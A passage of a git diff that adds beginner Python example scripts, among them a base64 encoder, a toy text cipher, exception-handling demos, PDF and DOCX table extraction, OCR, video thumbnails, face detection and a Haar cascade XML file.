+ font-size: 14px; + font-weight: 500; + } + QPushButton:hover { + background-color: #2ea44f; + } + QPushButton:pressed { + background-color: #26833b; + } + + + 🔍 Search + + + + + + + + -1 + 62 + true + + + + QPushButton { + background-color: #ff3b30; + color: white; + border-radius: 5px; + padding: 8px; + font-size: 14px; + font-weight: 500; + } + QPushButton:hover { + background-color: #cc2f27; + } + QPushButton:pressed { + background-color: #99231f; + } + + + 🧹 Clear + + + + + + + + + + + + + + 0 + 0 + + + + background-color: #ffffff; + border-radius: 10px; + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 16 + 50 + false + + + + color: #333333; +padding-bottom: 10px; + + + Meaning... + + + + + + + + -1 + + + + QTextEdit { + border: 1px solid #dcdcdc; + border-radius: 5px; + padding: 10px; + font-size: 14px; + background-color: #fafafa; + } + QTextEdit:focus { + border-color: #1a73e8; + background-color: #ffffff; + } + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'MS Shell Dlg 2'; font-size:14px; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:20pt;"><br /></p></body></html> + + + + + + + + 140 + 40 + + + + + -1 + 62 + true + + + + QPushButton { + background-color: #ff9500; + color: white; + border-radius: 5px; + padding: 10px; + font-size: 14px; + font-weight: 500; + } + QPushButton:hover { + background-color: #cc7700; + } + QPushButton:pressed { + background-color: #995900; + } + + + EXIT + + + + + + + + + + + + diff --git a/Encryption using base64.py b/Encryption using base64.py new file mode 100644 index 00000000000..6e2bc924f1f --- /dev/null +++ b/Encryption using base64.py @@ -0,0 +1,15 @@ +import base64 + +# Encryption +message = input() +message_bytes = message.encode("ascii") +base64_bytes = base64.b64encode(message_bytes) +base64_message = base64_bytes.decode("ascii") +print(base64_message) + +# Decryption +base64_bytes = base64_message.encode("ascii") +message_bytes = base64.b64decode(base64_bytes) +message = message_bytes.decode("ascii") + +print(message) diff --git a/EncryptionTool.py b/EncryptionTool.py new file mode 100644 index 00000000000..f6600752fa6 --- /dev/null +++ b/EncryptionTool.py @@ -0,0 +1,114 @@ +# GGearing +# Simple encryption script for text +# This was one my first versions of this script +# 09/07/2017 +from __future__ import print_function + +import math + +try: + input = raw_input +except NameError: + pass + +key = int(math.pi * 1e14) +text = input("Enter text: ") +values = reverse = [] + + +def encryptChar(target): + # encrytion algorithm + target = ((target + 42) * key) - 449 + return target + + +def decryptChar(target): + target = ((target + 449) / key) - 42 + return target + + +def encrypt(input_text): + col_values = [] + for inp in input_text: + current = ord(inp) + current = encryptChar(current) + col_values.append(current) + return col_values + + +def decrypt(enc_text): + col_values = [] + for enc in enc_text: + current = int(decryptChar(enc)) + current = chr(current) + col_values.append(current) + return col_values + + +def readAndDecrypt(filename): + file = open(filename, "r") + data = file.read() + datalistint = [] + actualdata = [] + datalist = data.split(" ") + datalist.remove("") + datalistint = [float(data) for data in datalist] + for data in datalist: + current1 = int(decryptChar(data)) + current1 = chr(current1) + actualdata.append(current1) + file.close() + return actualdata + + +def readAndEncrypt(filename): + file = open(filename, "r") + data = file.read() + datalist = list(data) + encrypted_list = list() + encrypted_list_str = list() + for data in datalist: + current = ord(data) + current = encryptChar(current) + encrypted_list.append(current) + file.close() + return encrypted_list + + +def readAndEncryptAndSave(inp_file, out_file): + enc_list = readAndEncrypt(inp_file) + output = open(out_file, "w") + for enc in enc_list: + output.write(str(enc) + " ") + output.close() + + +def readAndDecryptAndSave(inp_file, out_file): + dec_list = readAndDecrypt(inp_file) + output = open(out_file, "w") + for dec in dec_list: + output.write(str(dec)) + output.close() + + +# encryption +for t in text: + current = ord(t) + current = encryptChar(current) + values.append(current) + +# decryption +for v in values: + current = int(decryptChar(v)) + current = chr(current) + reverse.append(current) +print(reverse) + +# saves encrypted in txt file +output = open("encrypted.txt", "w") +for v in values: + output.write(str(v) + " ") +output.close() + +# read and decrypts +print(readAndDecrypt("encrypted.txt")) diff --git a/Exception_Handling_in_Python.py b/Exception_Handling_in_Python.py new file mode 100644 index 00000000000..17f0e5ca1c0 --- /dev/null +++ b/Exception_Handling_in_Python.py @@ -0,0 +1,121 @@ +# Exception handling using python + + +a = 12 +b = 0 +# a = int(input()) +# b = int(input()) + +try: + c = a / b + print(c) + # trying to print an unknown variable d + print(d) + +except ZeroDivisionError: + print("Invalid input. Divisor cannot be zero.") + +except NameError: + print("Name of variable not defined.") + + +# finally statement is always executed whether or not any errors occur +a = 5 +b = 0 +# a = int(input()) +# b = int(input()) + +try: + c = a / b + print(c) + +except ZeroDivisionError: + print("Invalid input. Divisor cannot be zero.") + +finally: + print("Hope all errors were resolved!!") + + +# A few other common errors +# SyntaxError + +try: + # eval is a built-in-function used in python, eval function parses the expression argument and evaluates it as a python expression. + eval("x === x") + +except SyntaxError: + print("Please check your syntax.") + + +# TypeError + +try: + a = "2" + 2 + +except TypeError: + print("int type cannot be added to str type.") + + +# ValueError + +try: + a = int("abc") + +except ValueError: + print("Enter a valid integer literal.") + + +# IndexError + +l = [1, 2, 3, 4] + +try: + print(l[4]) + +except IndexError: + print("Index of the sequence is out of range. Indexing in python starts from 0.") + + +# FileNotFoundError + +f = open("aaa.txt", "w") # File aaa.txt created +f.close() + +try: + # Instead of aaa.txt lets try opening abc.txt + f = open("abc.txt", "r") + +except FileNotFoundError: + print("Incorrect file name used") + +finally: + f.close() + + +# Handling multiple errors in general + +try: + a = 12 / 0 + b = "2" + 2 + c = int("abc") + eval("x===x") + +except: + pass + +finally: + print( + "Handled multiples errors at one go with no need of knowing names of the errors." + ) + + +# Creating your own Error + +a = 8 +# a = int(input()) + +if a < 18: + raise Exception("You are legally underage!!!") + +else: + print("All is well, go ahead!!") diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child1/Document_Child1.docx b/Extract-Table-from-pdf-txt-docx/Parent/Child1/Document_Child1.docx new file mode 100644 index 00000000000..aaa88327fe9 Binary files /dev/null and b/Extract-Table-from-pdf-txt-docx/Parent/Child1/Document_Child1.docx differ diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child1/Pdf1_Child1.pdf b/Extract-Table-from-pdf-txt-docx/Parent/Child1/Pdf1_Child1.pdf new file mode 100644 index 00000000000..d75c34ac2aa Binary files /dev/null and b/Extract-Table-from-pdf-txt-docx/Parent/Child1/Pdf1_Child1.pdf differ diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child1/Pdf2_Child2.pdf b/Extract-Table-from-pdf-txt-docx/Parent/Child1/Pdf2_Child2.pdf new file mode 100644 index 00000000000..a66417f02ea Binary files /dev/null and b/Extract-Table-from-pdf-txt-docx/Parent/Child1/Pdf2_Child2.pdf differ diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child1/Text_Child1.txt b/Extract-Table-from-pdf-txt-docx/Parent/Child1/Text_Child1.txt new file mode 100644 index 00000000000..44c8d0e41aa --- /dev/null +++ b/Extract-Table-from-pdf-txt-docx/Parent/Child1/Text_Child1.txt @@ -0,0 +1 @@ +AB,DF,G,DF,SDF,ADA,QW,WE,ER,FD 2,45,56,7,8,9,65,3,5436,78 12,34,345,667,56,5657,768,45,46,67 67,89,8,9,89,8,78,9,67,67 1,23,4,5,65,76,8,6,45,67 \ No newline at end of file diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child2/Document_Child2.docx b/Extract-Table-from-pdf-txt-docx/Parent/Child2/Document_Child2.docx new file mode 100644 index 00000000000..88e1ea52b42 Binary files /dev/null and b/Extract-Table-from-pdf-txt-docx/Parent/Child2/Document_Child2.docx differ diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child2/Pdf1_Child2.pdf b/Extract-Table-from-pdf-txt-docx/Parent/Child2/Pdf1_Child2.pdf new file mode 100644 index 00000000000..8bdda7f411e Binary files /dev/null and b/Extract-Table-from-pdf-txt-docx/Parent/Child2/Pdf1_Child2.pdf differ diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child2/Pdf2_Child2.pdf b/Extract-Table-from-pdf-txt-docx/Parent/Child2/Pdf2_Child2.pdf new file mode 100644 index 00000000000..7717d758b7e Binary files /dev/null and b/Extract-Table-from-pdf-txt-docx/Parent/Child2/Pdf2_Child2.pdf differ diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child2/Text_Child2.txt b/Extract-Table-from-pdf-txt-docx/Parent/Child2/Text_Child2.txt new file mode 100644 index 00000000000..59047f30d2b --- /dev/null +++ b/Extract-Table-from-pdf-txt-docx/Parent/Child2/Text_Child2.txt @@ -0,0 +1 @@ +AC,DXFC,GB,DCF,SCDF,BADA,QB,W,R,F,C 2,45,56,7,8,9,65,3,5436,78,34 12,34,345,667,56,5657,768,45,46,67,34 67,89,8,9,89,8,78,9,67,67,43 1,23,4,5,65,76,8,6,45,67,61 \ No newline at end of file diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child3/Document_Child3.docx b/Extract-Table-from-pdf-txt-docx/Parent/Child3/Document_Child3.docx new file mode 100644 index 00000000000..054d67e5b71 Binary files /dev/null and b/Extract-Table-from-pdf-txt-docx/Parent/Child3/Document_Child3.docx differ diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child3/Pdf1_Child3.pdf b/Extract-Table-from-pdf-txt-docx/Parent/Child3/Pdf1_Child3.pdf new file mode 100644 index 00000000000..0fe1113328a Binary files /dev/null and b/Extract-Table-from-pdf-txt-docx/Parent/Child3/Pdf1_Child3.pdf differ diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child3/Pdf2_Child3.pdf b/Extract-Table-from-pdf-txt-docx/Parent/Child3/Pdf2_Child3.pdf new file mode 100644 index 00000000000..b8e1353851a Binary files /dev/null and b/Extract-Table-from-pdf-txt-docx/Parent/Child3/Pdf2_Child3.pdf differ diff --git a/Extract-Table-from-pdf-txt-docx/Parent/Child3/Text_Child3.txt b/Extract-Table-from-pdf-txt-docx/Parent/Child3/Text_Child3.txt new file mode 100644 index 00000000000..ec47af5c872 --- /dev/null +++ b/Extract-Table-from-pdf-txt-docx/Parent/Child3/Text_Child3.txt @@ -0,0 +1 @@ +AF,FC,GFB,DW,SF,BA,Q,WS,RR,FR,CW 2,45,56,7,8,9,65,3,5436,78,34 12,34,345,667,56,5657,768,45,46,67,34 67,89,8,9,89,8,78,9,67,67,43 1,23,4,5,65,76,8,6,45,67,61 \ No newline at end of file diff --git a/Extract-Table-from-pdf-txt-docx/main.py b/Extract-Table-from-pdf-txt-docx/main.py new file mode 100644 index 00000000000..d74649cd054 --- /dev/null +++ b/Extract-Table-from-pdf-txt-docx/main.py @@ -0,0 +1,104 @@ +# %% +import pandas as pd +import os +import tabula +from docx.api import Document + +# %% + +if os.path.isdir("Parent") == True: + os.chdir("Parent") +# FOR CHILD1 DIRECTORY +if os.path.isdir("Child1") == True: + os.chdir("Child1") +# PDF FILE READING +if os.path.isfile("Pdf1_Child1.pdf") == True: + df_pdf_child1 = tabula.read_pdf("Pdf1_Child1.pdf", pages="all") +# DOCUMENT READING +if os.path.isfile("Document_Child1.docx") == True: + document = Document("Document_Child1.docx") + table = document.tables[0] + data = [] + + keys = None + for i, row in enumerate(table.rows): + text = (cell.text for cell in row.cells) + if i == 0: + keys = tuple(text) + continue + row_data = dict(zip(keys, text)) + data.append(row_data) +df_document_child1 = pd.DataFrame(data) +# TEXT READING +if os.path.isfile("Text_Child1.txt") == True: + df_text_child1 = pd.read_csv("Text_Child1.txt") + +# %% +df_text_child1 + + +# %% +os.chdir("../") +if os.path.isdir("Parent") == True: + os.chdir("Parent") +# FOR CHILD2 DIRECTORY +if os.path.isdir("Child2") == True: + os.chdir("Child2") +# PDF FILE READING +if os.path.isfile("Pdf1_Child2.pdf") == True: + df_pdf_child2 = tabula.read_pdf("Pdf1_Child2.pdf", pages="all") +# DOCUMENT READING +if os.path.isfile("Document_Child2.docx") == True: + document = Document("Document_Child2.docx") + table = document.tables[0] + data = [] + + keys = None + for i, row in enumerate(table.rows): + text = (cell.text for cell in row.cells) + if i == 0: + keys = tuple(text) + continue + row_data = dict(zip(keys, text)) + data.append(row_data) +df_document_child2 = pd.DataFrame(data) +# TEXT READING +if os.path.isfile("Text_Child2.txt") == True: + df_text_child2 = pd.read_csv("Text_Child2.txt") + +# %% +df_pdf_child2[0].head(4) + +# %% +os.chdir("../") +if os.path.isdir("Parent") == True: + os.chdir("Parent") +# FOR CHILD3 DIRECTORY +if os.path.isdir("Child3") == True: + os.chdir("Child3") +# PDF FILE READING +if os.path.isfile("Pdf1_Child3.pdf") == True: + df_pdf_child3 = tabula.read_pdf("Pdf1_Child3.pdf", pages="all") +# DOCUMENT READING +if os.path.isfile("Document_Child3.docx") == True: + document = Document("Document_Child3.docx") + table = document.tables[0] + data = [] + + keys = None + for i, row in enumerate(table.rows): + text = (cell.text for cell in row.cells) + if i == 0: + keys = tuple(text) + continue + row_data = dict(zip(keys, text)) + data.append(row_data) +df_document_child3 = pd.DataFrame(data) +# TEXT READING +if os.path.isfile("Text_Child3.txt") == True: + df_text_child3 = pd.read_csv("Text_Child3.txt") + +# %% +df_text_child3 + +# %% diff --git a/ExtractThumbnailFromVideo/README.md b/ExtractThumbnailFromVideo/README.md new file mode 100644 index 00000000000..2726afa84dd --- /dev/null +++ b/ExtractThumbnailFromVideo/README.md @@ -0,0 +1,49 @@ +# Thumbnail Extractor + +This Python function extracts a thumbnail frame from a video and saves it as an image file. It utilizes the OpenCV library to perform these operations. This README provides an overview of the function, its usage, and the required packages. + +## Table of Contents +- [Function Description](#function-description) +- [Usage](#usage) +- [Required Packages](#required-packages) + +## Function Description + +The `extract_thumbnail` function takes two parameters: + +- `video_path` (str): The path to the input video file. +- `frame_size` (tuple): A tuple containing the desired dimensions (width, height) for the thumbnail frame. + +The function will raise an `Exception` if it fails to extract a frame from the video. + +### Function Logic + +1. The function opens the specified video file using OpenCV. +2. It seeks to the middle frame by calculating the middle frame index. +3. The frame is resized to the specified dimensions. +4. The resized frame is saved as an image file with a filename derived from the video's base name. + +## Usage + +Here's an example of how to use the function: + +```python +from thumbnail_extractor import extract_thumbnail + +# Extract a thumbnail from 'my_video.mp4' with dimensions (320, 240) +extract_thumbnail('my_video.mp4', (320, 240)) +# Replace 'my_video.mp4' with the path to your own video file and (320, 240) with your desired thumbnail dimensions. + +## Required Packages +``` +To use this function, you need the following package: + +- **OpenCV (cv2)**: You can install it using `pip`: + + ```shell + pip install opencv-python + ``` + +This function is useful for generating thumbnail images from videos. It simplifies the process of creating video thumbnails for various applications. + + diff --git a/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py b/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py new file mode 100644 index 00000000000..c7ecd32ef75 --- /dev/null +++ b/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py @@ -0,0 +1,48 @@ +import cv2 +import os + + +def extract_thumbnail(video_path, frame_size): + """ + Extracts a thumbnail frame from a video and saves it as an image file. + + Args: + video_path (str): The path to the input video file. + frame_size (tuple): A tuple containing the desired dimensions (width, height) for the thumbnail frame. + + Raises: + Exception: If the function fails to extract a frame from the video. + + The function opens the specified video file, seeks to the middle frame, + resizes the frame to the specified dimensions, and saves it as an image + file with a filename derived from the video's base name. + + Example: + extract_thumbnail('my_video.mp4', (320, 240)) + + Required Packages: + cv2 (pip install cv2) + + This function is useful for generating thumbnail images from videos. + """ + video_capture = cv2.VideoCapture(video_path) # Open the video file for reading + total_frames = int( + video_capture.get(cv2.CAP_PROP_FRAME_COUNT) + ) # Get the total number of frames in the video + middle_frame_index = total_frames // 2 # Calculate the index of the middle frame + video_capture.set( + cv2.CAP_PROP_POS_FRAMES, middle_frame_index + ) # Seek to the middle frame + success, frame = video_capture.read() # Read the middle frame + video_capture.release() # Release the video capture object + + if success: + frame = cv2.resize( + frame, frame_size + ) # Resize the frame to the specified dimensions + thumbnail_filename = f"{os.path.basename(video_path)}_thumbnail.jpg" # Create a filename for the thumbnail + cv2.imwrite(thumbnail_filename, frame) # Save the thumbnail frame as an image + else: + raise Exception( + "Could not extract frame" + ) # Raise an exception if frame extraction fails diff --git a/Extract_Text_from_image.py b/Extract_Text_from_image.py new file mode 100644 index 00000000000..322dbfbb4cd --- /dev/null +++ b/Extract_Text_from_image.py @@ -0,0 +1,20 @@ +# extract text from a img and its coordinates using the pytesseract module +import cv2 +import pytesseract + +# You need to add tesseract binary dependency to system variable for this to work + +img = cv2.imread("img.png") +# We need to convert the img into RGB format +img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) + +hI, wI, k = img.shape +print(pytesseract.image_to_string(img)) +boxes = pytesseract.image_to_boxes(img) +for b in boxes.splitlines(): + b = b.split(" ") + x, y, w, h = int(b[1]), int(b[2]), int(b[3]), int(b[4]) + cv2.rectangle(img, (x, hI - y), (w, hI - h), (0, 0, 255), 0.2) + +cv2.imshow("img", img) +cv2.waitKey(0) diff --git a/FIND FACTORIAL OF A NUMBER.py b/FIND FACTORIAL OF A NUMBER.py new file mode 100644 index 00000000000..2ad83891877 --- /dev/null +++ b/FIND FACTORIAL OF A NUMBER.py @@ -0,0 +1,18 @@ +# Python program to find the factorial of a number provided by the user. + + +def factorial(n): + if n < 0: # factorial of number less than 0 is not possible + return "Oops!Factorial Not Possible" + elif ( + n == 0 + ): # 0! = 1; when n=0 it returns 1 to the function which is calling it previously. + return 1 + else: + return n * factorial(n - 1) + + +# Recursive function. At every iteration "n" is getting reduced by 1 until the "n" is equal to 0. + +n = int(input("Enter a number: ")) # asks the user for input +print(factorial(n)) # function call diff --git a/Face and eye Recognition/face_recofnation_first.py b/Face and eye Recognition/face_recofnation_first.py new file mode 100644 index 00000000000..e50e6fa24f3 --- /dev/null +++ b/Face and eye Recognition/face_recofnation_first.py @@ -0,0 +1,52 @@ +import cv2 as cv + + +def detect_faces_and_eyes(): + """ + Detects faces and eyes in real-time using the webcam. + + Press 'q' to exit the program. + """ + # Load the pre-trained classifiers for face and eye detection + face_cascade = cv.CascadeClassifier(r"..\libs\haarcascade_frontalface_default.xml") + eye_cascade = cv.CascadeClassifier(r"..\libs\haarcascade_eye.xml") + + # Open the webcam + cap = cv.VideoCapture(0) + + while cap.isOpened(): + # Read a frame from the webcam + flag, img = cap.read() + + # Convert the frame to grayscale for better performance + gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY) + + # Detect faces in the frame + faces = face_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=7) + + # Detect eyes in the frame + eyes = eye_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=7) + + # Draw rectangles around faces and eyes + for x, y, w, h in faces: + cv.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 1) + + for a, b, c, d in eyes: + cv.rectangle(img, (a, b), (a + c, b + d), (255, 0, 0), 1) + + # Display the resulting frame + cv.imshow("Face and Eye Detection", img) + + # Check for the 'q' key to exit the program + key = cv.waitKey(1) + if key == ord("q"): + break + + # Release the webcam and close all windows + cap.release() + cv.destroyAllWindows() + + +if __name__ == "__main__": + # Call the main function + detect_faces_and_eyes() diff --git a/Face and eye Recognition/gesture_control.py b/Face and eye Recognition/gesture_control.py new file mode 100644 index 00000000000..8afd63af13f --- /dev/null +++ b/Face and eye Recognition/gesture_control.py @@ -0,0 +1,27 @@ +import cv2 as cv + +# Read the image in grayscale +img = cv.imread(r"..\img\hand1.jpg", cv.IMREAD_GRAYSCALE) + +# Apply thresholding to create a binary image +_, thresholded = cv.threshold(img, 70, 255, cv.THRESH_BINARY) + +# Find contours in the binary image +contours, _ = cv.findContours(thresholded.copy(), cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE) + +# Convex Hull for each contour +convex_hulls = [cv.convexHull(contour) for contour in contours] + +# Draw contours and convex hulls on the original image +original_with_contours = cv.drawContours(img.copy(), contours, -1, (0, 0, 0), 2) +original_with_convex_hulls = cv.drawContours(img.copy(), convex_hulls, -1, (0, 0, 0), 2) + +# Display the images +cv.imshow("Original Image", img) +cv.imshow("Thresholded Image", thresholded) +cv.imshow("Contours", original_with_contours) +cv.imshow("Convex Hulls", original_with_convex_hulls) + +# Wait for a key press and close windows +cv.waitKey(0) +cv.destroyAllWindows() diff --git a/Face_Mask_detection (haarcascade)/Resources/haarcascade_frontalface_default.xml b/Face_Mask_detection (haarcascade)/Resources/haarcascade_frontalface_default.xml new file mode 100644 index 00000000000..cbd1aa89e92 --- /dev/null +++ b/Face_Mask_detection (haarcascade)/Resources/haarcascade_frontalface_default.xml @@ -0,0 +1,33314 @@ + + + +BOOST + HAAR + 24 + 24 + + 211 + + 0 + 25 + + <_> + 9 + -5.0425500869750977e+00 + + <_> + + 0 -1 0 -3.1511999666690826e-02 + + 2.0875380039215088e+00 -2.2172100543975830e+00 + <_> + + 0 -1 1 1.2396000325679779e-02 + + -1.8633940219879150e+00 1.3272049427032471e+00 + <_> + + 0 -1 2 2.1927999332547188e-02 + + -1.5105249881744385e+00 1.0625729560852051e+00 + <_> + + 0 -1 3 5.7529998011887074e-03 + + -8.7463897466659546e-01 1.1760339736938477e+00 + <_> + + 0 -1 4 1.5014000236988068e-02 + + -7.7945697307586670e-01 1.2608419656753540e+00 + <_> + + 0 -1 5 9.9371001124382019e-02 + + 5.5751299858093262e-01 -1.8743000030517578e+00 + <_> + + 0 -1 6 2.7340000960975885e-03 + + -1.6911929845809937e+00 4.4009700417518616e-01 + <_> + + 0 -1 7 -1.8859000876545906e-02 + + -1.4769539833068848e+00 4.4350099563598633e-01 + <_> + + 0 -1 8 5.9739998541772366e-03 + + -8.5909199714660645e-01 8.5255599021911621e-01 + <_> + 16 + -4.9842400550842285e+00 + + <_> + + 0 -1 9 -2.1110000088810921e-02 + + 1.2435649633407593e+00 -1.5713009834289551e+00 + <_> + + 0 -1 10 2.0355999469757080e-02 + + -1.6204780340194702e+00 1.1817760467529297e+00 + <_> + + 0 -1 11 2.1308999508619308e-02 + + -1.9415930509567261e+00 7.0069098472595215e-01 + <_> + + 0 -1 12 9.1660000383853912e-02 + + -5.5670100450515747e-01 1.7284419536590576e+00 + <_> + + 0 -1 13 3.6288000643253326e-02 + + 2.6763799786567688e-01 -2.1831810474395752e+00 + <_> + + 0 -1 14 -1.9109999760985374e-02 + + -2.6730210781097412e+00 4.5670801401138306e-01 + <_> + + 0 -1 15 8.2539999857544899e-03 + + -1.0852910280227661e+00 5.3564202785491943e-01 + <_> + + 0 -1 16 1.8355000764131546e-02 + + -3.5200199484825134e-01 9.3339198827743530e-01 + <_> + + 0 -1 17 -7.0569999516010284e-03 + + 9.2782098054885864e-01 -6.6349899768829346e-01 + <_> + + 0 -1 18 -9.8770000040531158e-03 + + 1.1577470302581787e+00 -2.9774799942970276e-01 + <_> + + 0 -1 19 1.5814000740647316e-02 + + -4.1960600018501282e-01 1.3576040267944336e+00 + <_> + + 0 -1 20 -2.0700000226497650e-02 + + 1.4590020179748535e+00 -1.9739399850368500e-01 + <_> + + 0 -1 21 -1.3760800659656525e-01 + + 1.1186759471893311e+00 -5.2915501594543457e-01 + <_> + + 0 -1 22 1.4318999834358692e-02 + + -3.5127198696136475e-01 1.1440860033035278e+00 + <_> + + 0 -1 23 1.0253000073134899e-02 + + -6.0850602388381958e-01 7.7098500728607178e-01 + <_> + + 0 -1 24 9.1508001089096069e-02 + + 3.8817799091339111e-01 -1.5122940540313721e+00 + <_> + 27 + -4.6551899909973145e+00 + + <_> + + 0 -1 25 6.9747000932693481e-02 + + -1.0130879878997803e+00 1.4687349796295166e+00 + <_> + + 0 -1 26 3.1502999365329742e-02 + + -1.6463639736175537e+00 1.0000629425048828e+00 + <_> + + 0 -1 27 1.4260999858379364e-02 + + 4.6480301022529602e-01 -1.5959889888763428e+00 + <_> + + 0 -1 28 1.4453000389039516e-02 + + -6.5511900186538696e-01 8.3021801710128784e-01 + <_> + + 0 -1 29 -3.0509999487549067e-03 + + -1.3982310295104980e+00 4.2550599575042725e-01 + <_> + + 0 -1 30 3.2722998410463333e-02 + + -5.0702601671218872e-01 1.0526109933853149e+00 + <_> + + 0 -1 31 -7.2960001416504383e-03 + + 3.6356899142265320e-01 -1.3464889526367188e+00 + <_> + + 0 -1 32 5.0425000488758087e-02 + + -3.0461400747299194e-01 1.4504129886627197e+00 + <_> + + 0 -1 33 4.6879000961780548e-02 + + -4.0286201238632202e-01 1.2145609855651855e+00 + <_> + + 0 -1 34 -6.9358997046947479e-02 + + 1.0539360046386719e+00 -4.5719701051712036e-01 + <_> + + 0 -1 35 -4.9033999443054199e-02 + + -1.6253089904785156e+00 1.5378999710083008e-01 + <_> + + 0 -1 36 8.4827996790409088e-02 + + 2.8402999043464661e-01 -1.5662059783935547e+00 + <_> + + 0 -1 37 -1.7229999648407102e-03 + + -1.0147459506988525e+00 2.3294800519943237e-01 + <_> + + 0 -1 38 1.1562199890613556e-01 + + -1.6732899844646454e-01 1.2804069519042969e+00 + <_> + + 0 -1 39 -5.1279999315738678e-02 + + 1.5162390470504761e+00 -3.0271100997924805e-01 + <_> + + 0 -1 40 -4.2706999927759171e-02 + + 1.7631920576095581e+00 -5.1832001656293869e-02 + <_> + + 0 -1 41 3.7178099155426025e-01 + + -3.1389200687408447e-01 1.5357979536056519e+00 + <_> + + 0 -1 42 1.9412999972701073e-02 + + -1.0017599910497665e-01 9.3655401468276978e-01 + <_> + + 0 -1 43 1.7439000308513641e-02 + + -4.0379899740219116e-01 9.6293002367019653e-01 + <_> + + 0 -1 44 3.9638999849557877e-02 + + 1.7039099335670471e-01 -2.9602990150451660e+00 + <_> + + 0 -1 45 -9.1469995677471161e-03 + + 8.8786798715591431e-01 -4.3818700313568115e-01 + <_> + + 0 -1 46 1.7219999572262168e-03 + + -3.7218600511550903e-01 4.0018901228904724e-01 + <_> + + 0 -1 47 3.0231000855565071e-02 + + 6.5924003720283508e-02 -2.6469180583953857e+00 + <_> + + 0 -1 48 -7.8795999288558960e-02 + + -1.7491459846496582e+00 2.8475299477577209e-01 + <_> + + 0 -1 49 2.1110000088810921e-03 + + -9.3908101320266724e-01 2.3205199837684631e-01 + <_> + + 0 -1 50 2.7091000229120255e-02 + + -5.2664000540971756e-02 1.0756820440292358e+00 + <_> + + 0 -1 51 -4.4964998960494995e-02 + + -1.8294479846954346e+00 9.9561996757984161e-02 + <_> + 32 + -4.4531588554382324e+00 + + <_> + + 0 -1 52 -6.5701000392436981e-02 + + 1.1558510065078735e+00 -1.0716359615325928e+00 + <_> + + 0 -1 53 1.5839999541640282e-02 + + -1.5634720325469971e+00 7.6877099275588989e-01 + <_> + + 0 -1 54 1.4570899307727814e-01 + + -5.7450097799301147e-01 1.3808720111846924e+00 + <_> + + 0 -1 55 6.1389999464154243e-03 + + -1.4570560455322266e+00 5.1610302925109863e-01 + <_> + + 0 -1 56 6.7179999314248562e-03 + + -8.3533602952957153e-01 5.8522200584411621e-01 + <_> + + 0 -1 57 1.8518000841140747e-02 + + -3.1312099099159241e-01 1.1696679592132568e+00 + <_> + + 0 -1 58 1.9958000630140305e-02 + + -4.3442600965499878e-01 9.5446902513504028e-01 + <_> + + 0 -1 59 -2.7755001187324524e-01 + + 1.4906179904937744e+00 -1.3815900683403015e-01 + <_> + + 0 -1 60 9.1859996318817139e-03 + + -9.6361500024795532e-01 2.7665498852729797e-01 + <_> + + 0 -1 61 -3.7737999111413956e-02 + + -2.4464108943939209e+00 2.3619599640369415e-01 + <_> + + 0 -1 62 1.8463000655174255e-02 + + 1.7539200186729431e-01 -1.3423130512237549e+00 + <_> + + 0 -1 63 -1.1114999651908875e-02 + + 4.8710799217224121e-01 -8.9851897954940796e-01 + <_> + + 0 -1 64 3.3927999436855316e-02 + + 1.7874200642108917e-01 -1.6342279911041260e+00 + <_> + + 0 -1 65 -3.5649001598358154e-02 + + -1.9607399702072144e+00 1.8102499842643738e-01 + <_> + + 0 -1 66 -1.1438000015914440e-02 + + 9.9010699987411499e-01 -3.8103199005126953e-01 + <_> + + 0 -1 67 -6.5236002206802368e-02 + + -2.5794160366058350e+00 2.4753600358963013e-01 + <_> + + 0 -1 68 -4.2272001504898071e-02 + + 1.4411840438842773e+00 -2.9508298635482788e-01 + <_> + + 0 -1 69 1.9219999667257071e-03 + + -4.9608600139617920e-01 6.3173598051071167e-01 + <_> + + 0 -1 70 -1.2921799719333649e-01 + + -2.3314270973205566e+00 5.4496999830007553e-02 + <_> + + 0 -1 71 2.2931000217795372e-02 + + -8.4447097778320312e-01 3.8738098740577698e-01 + <_> + + 0 -1 72 -3.4120000898838043e-02 + + -1.4431500434875488e+00 9.8422996699810028e-02 + <_> + + 0 -1 73 2.6223000138998032e-02 + + 1.8223099410533905e-01 -1.2586519718170166e+00 + <_> + + 0 -1 74 2.2236999124288559e-02 + + 6.9807998836040497e-02 -2.3820950984954834e+00 + <_> + + 0 -1 75 -5.8240001089870930e-03 + + 3.9332500100135803e-01 -2.7542799711227417e-01 + <_> + + 0 -1 76 4.3653000146150589e-02 + + 1.4832699298858643e-01 -1.1368780136108398e+00 + <_> + + 0 -1 77 5.7266999036073685e-02 + + 2.4628099799156189e-01 -1.2687400579452515e+00 + <_> + + 0 -1 78 2.3409998975694180e-03 + + -7.5448900461196899e-01 2.7163800597190857e-01 + <_> + + 0 -1 79 1.2996000237762928e-02 + + -3.6394900083541870e-01 7.0959198474884033e-01 + <_> + + 0 -1 80 -2.6517000049352646e-02 + + -2.3221859931945801e+00 3.5744000226259232e-02 + <_> + + 0 -1 81 -5.8400002308189869e-03 + + 4.2194300889968872e-01 -4.8184998333454132e-02 + <_> + + 0 -1 82 -1.6568999737501144e-02 